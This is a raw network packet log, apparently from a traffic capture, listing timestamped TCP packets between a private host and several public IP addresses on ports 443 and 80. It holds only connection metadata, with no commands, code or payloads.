Nov 24, 2024 04:23:58.865735054 CET	443	50053	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:58.865782976 CET	50053	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:58.865792036 CET	443	50053	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:58.865930080 CET	50053	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:58.902137995 CET	443	50053	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:58.902154922 CET	443	50053	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:58.902198076 CET	443	50053	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:58.902204990 CET	50053	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:58.902215004 CET	443	50053	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:58.902282000 CET	443	50053	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:58.902371883 CET	50053	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:58.902817011 CET	50053	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:58.902828932 CET	443	50053	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:58.979111910 CET	80	50005	34.107.221.82	192.168.2.5
Nov 24, 2024 04:23:59.026588917 CET	50005	80	192.168.2.5	34.107.221.82
Nov 24, 2024 04:23:59.077045918 CET	443	50066	34.120.208.123	192.168.2.5
Nov 24, 2024 04:23:59.082160950 CET	50066	443	192.168.2.5	34.120.208.123
Nov 24, 2024 04:23:59.112705946 CET	50055	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:59.112965107 CET	50070	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:59.232420921 CET	80	50070	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:59.232484102 CET	80	50055	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:59.232578993 CET	50055	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:59.232599020 CET	50070	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:59.232816935 CET	50070	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:59.242993116 CET	443	50060	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:59.243479013 CET	50060	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:59.243501902 CET	443	50060	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:59.243943930 CET	50060	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:59.243947983 CET	443	50060	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:59.352210045 CET	80	50070	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:59.397435904 CET	443	50062	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:59.397959948 CET	50062	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:59.397984982 CET	443	50062	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:59.398366928 CET	50062	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:59.398372889 CET	443	50062	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:59.569027901 CET	443	50064	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:59.571347952 CET	50064	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:59.571410894 CET	443	50064	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:59.571758032 CET	50064	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:59.571772099 CET	443	50064	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:59.686903000 CET	443	50060	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:59.686932087 CET	443	50060	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:59.686976910 CET	443	50060	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:59.689189911 CET	50060	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:59.690479040 CET	50060	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:59.690501928 CET	443	50060	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:59.690514088 CET	50060	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:59.690520048 CET	443	50060	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:59.694108963 CET	50071	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:59.694129944 CET	443	50071	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:59.694921017 CET	50071	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:59.695085049 CET	50071	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:59.695096016 CET	443	50071	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:59.774277925 CET	443	50068	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:59.782299995 CET	50068	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:59.782311916 CET	443	50068	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:59.782706022 CET	50068	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:59.782710075 CET	443	50068	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:59.850162029 CET	443	50062	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:59.853234053 CET	443	50062	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:59.853310108 CET	50062	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:59.853383064 CET	50062	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:59.853389025 CET	443	50062	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:59.853398085 CET	50062	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:59.853400946 CET	443	50062	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:59.855861902 CET	50074	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:59.855897903 CET	443	50074	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:59.855957031 CET	50074	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:59.856113911 CET	50074	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:59.856118917 CET	443	50074	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:59.917471886 CET	443	49958	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:59.917541981 CET	443	49958	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:59.918672085 CET	49958	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:59.953715086 CET	443	49957	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:59.953798056 CET	443	49957	172.64.41.3	192.168.2.5
Nov 24, 2024 04:23:59.967097044 CET	49957	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:23:59.975630045 CET	443	50069	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:59.998143911 CET	50069	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:59.998167992 CET	443	50069	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:59.998653889 CET	50069	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:59.998658895 CET	443	50069	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:00.022770882 CET	443	50064	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:00.025732040 CET	443	50064	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:00.030544043 CET	50064	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:00.031428099 CET	50064	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:00.031451941 CET	443	50064	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:00.031477928 CET	50064	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:00.031485081 CET	443	50064	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:00.034138918 CET	50076	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:00.034183979 CET	443	50076	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:00.035576105 CET	50076	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:00.073851109 CET	50076	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:00.073868036 CET	443	50076	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:00.217941046 CET	443	50068	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:00.221031904 CET	443	50068	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:00.230916023 CET	50068	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:00.232007980 CET	50068	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:00.232031107 CET	443	50068	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:00.232042074 CET	50068	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:00.232048035 CET	443	50068	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:00.237241983 CET	50081	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:00.237283945 CET	443	50081	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:00.245305061 CET	50081	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:00.246048927 CET	50081	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:00.246063948 CET	443	50081	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:00.428105116 CET	443	50069	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:00.431272030 CET	443	50069	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:00.431322098 CET	443	50069	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:00.432405949 CET	50069	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:00.433290958 CET	50069	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:00.433310986 CET	443	50069	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:00.433320045 CET	50069	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:00.433326006 CET	443	50069	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:00.435656071 CET	50084	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:00.435712099 CET	443	50084	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:00.439867020 CET	50084	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:00.440028906 CET	50084	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:00.440040112 CET	443	50084	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:00.619833946 CET	80	50070	185.215.113.43	192.168.2.5
Nov 24, 2024 04:24:00.619899035 CET	50070	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:24:01.476689100 CET	443	50071	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:01.477142096 CET	50071	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:01.477165937 CET	443	50071	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:01.477591038 CET	50071	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:01.477595091 CET	443	50071	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:01.644078970 CET	443	50074	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:01.648562908 CET	50074	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:01.648598909 CET	443	50074	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:01.649035931 CET	50074	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:01.649040937 CET	443	50074	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:01.854790926 CET	443	50076	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:01.855253935 CET	50076	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:01.855292082 CET	443	50076	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:01.855684042 CET	50076	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:01.855691910 CET	443	50076	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:01.920640945 CET	443	50071	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:01.924062014 CET	443	50071	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:01.924133062 CET	50071	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:01.924185038 CET	50071	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:01.924199104 CET	443	50071	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:01.924212933 CET	50071	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:01.924216986 CET	443	50071	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:01.926892042 CET	50086	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:01.926950932 CET	443	50086	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:01.927207947 CET	50086	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:01.927515030 CET	50086	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:01.927532911 CET	443	50086	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:02.088198900 CET	443	50074	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:02.091358900 CET	443	50074	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:02.091582060 CET	443	50081	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:02.098818064 CET	50074	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:02.098920107 CET	50074	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:02.098920107 CET	50074	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:02.098968983 CET	443	50074	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:02.099001884 CET	443	50074	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:02.099270105 CET	50081	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:02.099278927 CET	443	50081	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:02.099695921 CET	50081	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:02.099699974 CET	443	50081	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:02.101505995 CET	50089	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:02.101586103 CET	443	50089	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:02.101872921 CET	50089	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:02.102006912 CET	50089	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:02.102045059 CET	443	50089	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:02.130935907 CET	50070	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:24:02.131205082 CET	50090	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:24:02.250715971 CET	80	50090	185.215.113.43	192.168.2.5
Nov 24, 2024 04:24:02.250816107 CET	50090	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:24:02.250900984 CET	80	50070	185.215.113.43	192.168.2.5
Nov 24, 2024 04:24:02.250957012 CET	50070	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:24:02.251025915 CET	50090	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:24:02.283247948 CET	443	50084	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:02.283688068 CET	50084	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:02.283718109 CET	443	50084	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:02.284143925 CET	50084	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:02.284149885 CET	443	50084	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:02.306931019 CET	443	50076	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:02.307020903 CET	443	50076	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:02.307195902 CET	50076	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:02.307195902 CET	50076	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:02.307240009 CET	50076	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:02.307260036 CET	443	50076	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:02.309564114 CET	50091	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:02.309607029 CET	443	50091	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:02.309681892 CET	50091	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:02.309840918 CET	50091	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:02.309851885 CET	443	50091	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:02.354022026 CET	50066	443	192.168.2.5	34.120.208.123
Nov 24, 2024 04:24:02.354049921 CET	443	50066	34.120.208.123	192.168.2.5
Nov 24, 2024 04:24:02.354105949 CET	50066	443	192.168.2.5	34.120.208.123
Nov 24, 2024 04:24:02.354279041 CET	443	50066	34.120.208.123	192.168.2.5
Nov 24, 2024 04:24:02.354336977 CET	50066	443	192.168.2.5	34.120.208.123
Nov 24, 2024 04:24:02.361565113 CET	50013	80	192.168.2.5	34.107.221.82
Nov 24, 2024 04:24:02.370554924 CET	80	50090	185.215.113.43	192.168.2.5
Nov 24, 2024 04:24:02.372347116 CET	50005	80	192.168.2.5	34.107.221.82
Nov 24, 2024 04:24:02.373579979 CET	50092	443	192.168.2.5	34.120.208.123
Nov 24, 2024 04:24:02.373620033 CET	443	50092	34.120.208.123	192.168.2.5
Nov 24, 2024 04:24:02.374510050 CET	50092	443	192.168.2.5	34.120.208.123
Nov 24, 2024 04:24:02.376003027 CET	50092	443	192.168.2.5	34.120.208.123
Nov 24, 2024 04:24:02.376014948 CET	443	50092	34.120.208.123	192.168.2.5
Nov 24, 2024 04:24:02.481045008 CET	80	50013	34.107.221.82	192.168.2.5
Nov 24, 2024 04:24:02.491877079 CET	80	50005	34.107.221.82	192.168.2.5
Nov 24, 2024 04:24:02.545583963 CET	443	50081	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:02.548660994 CET	443	50081	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:02.548757076 CET	50081	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:02.548757076 CET	50081	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:02.548791885 CET	50081	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:02.548813105 CET	443	50081	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:02.551682949 CET	50093	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:02.551717997 CET	443	50093	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:02.552052021 CET	50093	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:02.552269936 CET	50093	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:02.552278042 CET	443	50093	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:02.586997032 CET	50094	443	192.168.2.5	34.120.208.123
Nov 24, 2024 04:24:02.587037086 CET	443	50094	34.120.208.123	192.168.2.5
Nov 24, 2024 04:24:02.589085102 CET	50095	443	192.168.2.5	34.120.208.123
Nov 24, 2024 04:24:02.589123964 CET	443	50095	34.120.208.123	192.168.2.5
Nov 24, 2024 04:24:02.589240074 CET	50094	443	192.168.2.5	34.120.208.123
Nov 24, 2024 04:24:02.589374065 CET	50095	443	192.168.2.5	34.120.208.123
Nov 24, 2024 04:24:02.589374065 CET	50094	443	192.168.2.5	34.120.208.123
Nov 24, 2024 04:24:02.589384079 CET	443	50094	34.120.208.123	192.168.2.5
Nov 24, 2024 04:24:02.589478970 CET	50095	443	192.168.2.5	34.120.208.123
Nov 24, 2024 04:24:02.589488983 CET	443	50095	34.120.208.123	192.168.2.5
Nov 24, 2024 04:24:02.676141977 CET	80	50013	34.107.221.82	192.168.2.5
Nov 24, 2024 04:24:02.706365108 CET	80	50005	34.107.221.82	192.168.2.5
Nov 24, 2024 04:24:02.723330021 CET	50013	80	192.168.2.5	34.107.221.82
Nov 24, 2024 04:24:02.735238075 CET	443	50084	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:02.738881111 CET	443	50084	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:02.738955975 CET	50084	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:02.738981962 CET	50084	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:02.738991976 CET	443	50084	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:02.739006996 CET	50084	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:02.739011049 CET	443	50084	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:02.741756916 CET	50096	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:02.741786003 CET	443	50096	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:02.741847038 CET	50096	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:02.741986990 CET	50096	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:02.742002010 CET	443	50096	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:02.753822088 CET	50005	80	192.168.2.5	34.107.221.82
Nov 24, 2024 04:24:03.306389093 CET	443	49992	172.64.41.3	192.168.2.5
Nov 24, 2024 04:24:03.306467056 CET	443	49992	172.64.41.3	192.168.2.5
Nov 24, 2024 04:24:03.306710958 CET	49992	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:24:03.322684050 CET	443	49991	172.64.41.3	192.168.2.5
Nov 24, 2024 04:24:03.322841883 CET	443	49991	172.64.41.3	192.168.2.5
Nov 24, 2024 04:24:03.323170900 CET	49991	443	192.168.2.5	172.64.41.3
Nov 24, 2024 04:24:03.592494965 CET	443	50092	34.120.208.123	192.168.2.5
Nov 24, 2024 04:24:03.592592955 CET	50092	443	192.168.2.5	34.120.208.123
Nov 24, 2024 04:24:03.638436079 CET	80	50090	185.215.113.43	192.168.2.5
Nov 24, 2024 04:24:03.638506889 CET	50090	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:24:03.713783026 CET	443	50086	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:03.714188099 CET	50086	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:03.714206934 CET	443	50086	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:03.714646101 CET	50086	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:03.714652061 CET	443	50086	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:03.845628023 CET	443	50095	34.120.208.123	192.168.2.5
Nov 24, 2024 04:24:03.845890045 CET	50095	443	192.168.2.5	34.120.208.123
Nov 24, 2024 04:24:03.846098900 CET	443	50094	34.120.208.123	192.168.2.5
Nov 24, 2024 04:24:03.846164942 CET	50094	443	192.168.2.5	34.120.208.123
Nov 24, 2024 04:24:03.882213116 CET	443	50089	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:03.882662058 CET	50089	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:03.882700920 CET	443	50089	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:03.883116007 CET	50089	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:03.883128881 CET	443	50089	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:04.154176950 CET	443	50091	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:04.154587030 CET	50091	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:04.154629946 CET	443	50091	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:04.155035973 CET	50091	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:04.155050039 CET	443	50091	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:04.156969070 CET	443	50086	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:04.160351038 CET	443	50086	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:04.160407066 CET	50086	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:04.160446882 CET	50086	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:04.160459042 CET	443	50086	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:04.160469055 CET	50086	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:04.160474062 CET	443	50086	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:04.162676096 CET	50099	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:04.162751913 CET	443	50099	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:04.163558960 CET	50099	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:04.163803101 CET	50099	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:04.163831949 CET	443	50099	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:04.246536016 CET	50100	443	192.168.2.5	142.250.181.100
Nov 24, 2024 04:24:04.246573925 CET	443	50100	142.250.181.100	192.168.2.5
Nov 24, 2024 04:24:04.246716022 CET	50100	443	192.168.2.5	142.250.181.100
Nov 24, 2024 04:24:04.246973991 CET	50100	443	192.168.2.5	142.250.181.100
Nov 24, 2024 04:24:04.246985912 CET	443	50100	142.250.181.100	192.168.2.5
Nov 24, 2024 04:24:04.331207991 CET	443	50089	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:04.332396984 CET	443	50093	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:04.332827091 CET	50093	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:04.332844973 CET	443	50093	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:04.333280087 CET	50093	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:04.333286047 CET	443	50093	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:04.334217072 CET	443	50089	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:04.334479094 CET	50089	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:04.334508896 CET	50089	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:04.334525108 CET	443	50089	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:04.334534883 CET	50089	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:04.334541082 CET	443	50089	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:04.337368011 CET	50101	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:04.337404013 CET	443	50101	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:04.337517023 CET	50101	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:04.337836981 CET	50101	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:04.337847948 CET	443	50101	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:04.521184921 CET	443	50096	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:04.521774054 CET	50096	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:04.521883011 CET	443	50096	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:04.522219896 CET	50096	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:04.522241116 CET	443	50096	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:04.607393980 CET	443	50091	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:04.611829042 CET	443	50091	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:04.611880064 CET	443	50091	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:04.611881971 CET	50091	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:04.611938000 CET	50091	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:04.612015009 CET	50091	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:04.612031937 CET	443	50091	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:04.612046003 CET	50091	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:04.612051010 CET	443	50091	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:04.614648104 CET	50103	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:04.614680052 CET	443	50103	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:04.614748955 CET	50103	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:04.614881039 CET	50103	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:04.614891052 CET	443	50103	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:04.776885986 CET	443	50093	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:04.780000925 CET	443	50093	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:04.780276060 CET	50093	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:04.780677080 CET	50093	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:04.780692101 CET	443	50093	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:04.780700922 CET	50093	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:04.780705929 CET	443	50093	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:04.783631086 CET	50104	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:04.783663034 CET	443	50104	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:04.783766985 CET	50104	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:04.784172058 CET	50104	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:04.784182072 CET	443	50104	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:04.965291977 CET	443	50096	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:04.968462944 CET	443	50096	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:04.968513966 CET	443	50096	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:04.968518019 CET	50096	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:04.968575954 CET	50096	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:04.968636036 CET	50096	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:04.968657017 CET	443	50096	13.107.246.63	192.168.2.5
